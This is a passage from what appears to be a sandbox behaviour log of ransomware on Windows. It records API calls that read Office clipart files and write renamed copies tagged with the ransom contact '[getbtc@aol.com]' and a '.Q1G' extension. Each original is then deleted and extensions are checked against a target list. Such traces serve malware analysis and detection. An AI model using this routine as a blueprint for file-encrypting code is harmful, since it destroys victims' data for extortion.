WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.251] SetEndOfFile (hFile=0x3c4) returned 1 [0249.251] CloseHandle (hObject=0x3c4) returned 1 [0249.252] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.252] SetEndOfFile (hFile=0x1fc) returned 1 [0249.255] CloseHandle (hObject=0x1fc) returned 1 [0249.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.256] lstrlenW (lpString=".doc") returned 4 [0249.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString=".docx") returned 5 [0249.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.256] lstrlenW (lpString=".pdf") returned 4 [0249.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString=".xls") returned 4 [0249.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.256] lstrlenW (lpString=".xlsx") returned 5 [0249.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.256] lstrlenW (lpString=".ppt") returned 4 [0249.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString=".zip") returned 4 [0249.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.257] lstrlenW (lpString=".rar") returned 4 [0249.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString=".bz2") returned 4 [0249.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString=".7z") returned 3 [0249.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString=".dbf") returned 4 [0249.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString=".1cd") returned 4 [0249.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString=".jpg") returned 4 [0249.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString=".doc") returned 4 [0249.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString=".docx") returned 5 [0249.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.257] lstrlenW (lpString=".pdf") returned 4 [0249.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString=".xls") returned 4 [0249.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.257] lstrlenW (lpString=".xlsx") returned 5 [0249.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.257] lstrlenW (lpString=".ppt") returned 4 [0249.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.257] lstrlenW (lpString=".zip") returned 4 [0249.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.257] lstrlenW (lpString=".rar") returned 4 [0249.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.258] lstrlenW (lpString=".bz2") returned 4 [0249.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.258] lstrlenW (lpString=".7z") returned 3 [0249.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.258] lstrlenW (lpString=".dbf") returned 4 [0249.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.258] lstrlenW (lpString=".1cd") returned 4 [0249.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0249.258] lstrlenW (lpString=".jpg") returned 4 [0249.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.258] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.258] lstrlenW (lpString="EN00320_.WMF") returned 12 [0249.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.258] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=736) returned 1 [0249.258] CloseHandle (hObject=0x1fc) returned 1 [0249.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0249.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.259] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.259] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.260] GetLastError () returned 0x0 [0249.260] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2e0, lpOverlapped=0x0) returned 1 [0249.271] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0249.272] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.272] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.272] SetEndOfFile (hFile=0x3c4) returned 1 [0249.272] CloseHandle (hObject=0x3c4) returned 1 [0249.272] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.272] SetEndOfFile (hFile=0x1fc) returned 1 [0249.274] CloseHandle (hObject=0x1fc) returned 1 [0249.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0249.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.275] lstrlenW (lpString=".doc") returned 4 [0249.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.275] lstrlenW (lpString=".docx") returned 5 [0249.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.275] lstrlenW (lpString=".pdf") returned 4 [0249.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.275] lstrlenW (lpString=".xls") returned 4 [0249.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.276] lstrlenW (lpString=".xlsx") returned 5 [0249.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.276] lstrlenW (lpString=".ppt") returned 4 [0249.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.276] lstrlenW (lpString=".zip") returned 4 [0249.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.276] lstrlenW (lpString=".rar") returned 4 [0249.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString=".bz2") returned 4 [0249.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString=".7z") returned 3 [0249.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.276] lstrlenW (lpString=".dbf") returned 4 [0249.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.276] lstrlenW (lpString=".1cd") returned 4 [0249.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.276] lstrlenW (lpString=".jpg") returned 4 [0249.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.276] lstrlenW (lpString=".doc") returned 4 [0249.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString=".docx") returned 5 [0249.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.276] lstrlenW (lpString=".pdf") returned 4 [0249.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.276] lstrlenW (lpString=".xls") returned 4 [0249.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.276] lstrlenW (lpString=".xlsx") returned 5 [0249.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.276] lstrlenW (lpString=".ppt") returned 4 [0249.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.277] lstrlenW (lpString=".zip") returned 4 [0249.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.277] lstrlenW (lpString=".rar") returned 4 [0249.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.277] lstrlenW (lpString=".bz2") returned 4 [0249.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.277] lstrlenW (lpString=".7z") returned 3 [0249.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.277] lstrlenW (lpString=".dbf") returned 4 [0249.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.277] lstrlenW (lpString=".1cd") returned 4 [0249.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0249.277] lstrlenW (lpString=".jpg") returned 4 [0249.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.277] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.277] lstrlenW (lpString="EN00902_.WMF") returned 12 [0249.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.301] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=7944) returned 1 [0249.301] CloseHandle (hObject=0x3ac) returned 1 [0249.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0249.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.305] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.305] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.306] GetLastError () returned 0x0 [0249.306] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1f08, lpOverlapped=0x0) returned 1 [0249.307] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0249.308] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.308] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.308] SetEndOfFile (hFile=0x1fc) returned 1 [0249.308] CloseHandle (hObject=0x1fc) returned 1 [0249.308] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.308] SetEndOfFile (hFile=0x3ac) returned 1 [0249.317] CloseHandle (hObject=0x3ac) returned 1 [0249.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0249.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.318] lstrlenW (lpString=".doc") returned 4 [0249.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.318] lstrlenW (lpString=".docx") returned 5 [0249.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.318] lstrlenW (lpString=".pdf") returned 4 [0249.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.318] lstrlenW (lpString=".xls") returned 4 [0249.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.318] lstrlenW (lpString=".xlsx") returned 5 [0249.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.318] lstrlenW (lpString=".ppt") returned 4 [0249.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.318] lstrlenW (lpString=".zip") returned 4 [0249.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.318] lstrlenW (lpString=".rar") returned 4 [0249.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.318] lstrlenW (lpString=".bz2") returned 4 [0249.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.318] lstrlenW (lpString=".7z") returned 3 [0249.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.319] lstrlenW (lpString=".dbf") returned 4 [0249.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.319] lstrlenW (lpString=".1cd") returned 4 [0249.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.319] lstrlenW (lpString=".jpg") returned 4 [0249.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.319] lstrlenW (lpString=".doc") returned 4 [0249.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString=".docx") returned 5 [0249.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.319] lstrlenW (lpString=".pdf") returned 4 [0249.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString=".xls") returned 4 [0249.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.319] lstrlenW (lpString=".xlsx") returned 5 [0249.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.319] lstrlenW (lpString=".ppt") returned 4 [0249.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.319] lstrlenW (lpString=".zip") returned 4 [0249.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.319] lstrlenW (lpString=".rar") returned 4 [0249.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString=".bz2") returned 4 [0249.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.319] lstrlenW (lpString=".7z") returned 3 [0249.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.320] lstrlenW (lpString=".dbf") returned 4 [0249.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.320] lstrlenW (lpString=".1cd") returned 4 [0249.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0249.320] lstrlenW (lpString=".jpg") returned 4 [0249.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.320] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.320] lstrlenW (lpString="FD00074_.WMF") returned 12 [0249.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.320] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=17850) returned 1 [0249.320] CloseHandle (hObject=0x3ac) returned 1 [0249.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0249.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0249.321] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.321] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.322] GetLastError () returned 0x0 [0249.322] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x45ba, lpOverlapped=0x0) returned 1 [0249.538] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0249.559] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.559] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.559] SetEndOfFile (hFile=0x1fc) returned 1 [0249.559] CloseHandle (hObject=0x1fc) returned 1 [0249.559] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.559] SetEndOfFile (hFile=0x3ac) returned 1 [0249.561] CloseHandle (hObject=0x3ac) returned 1 [0249.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 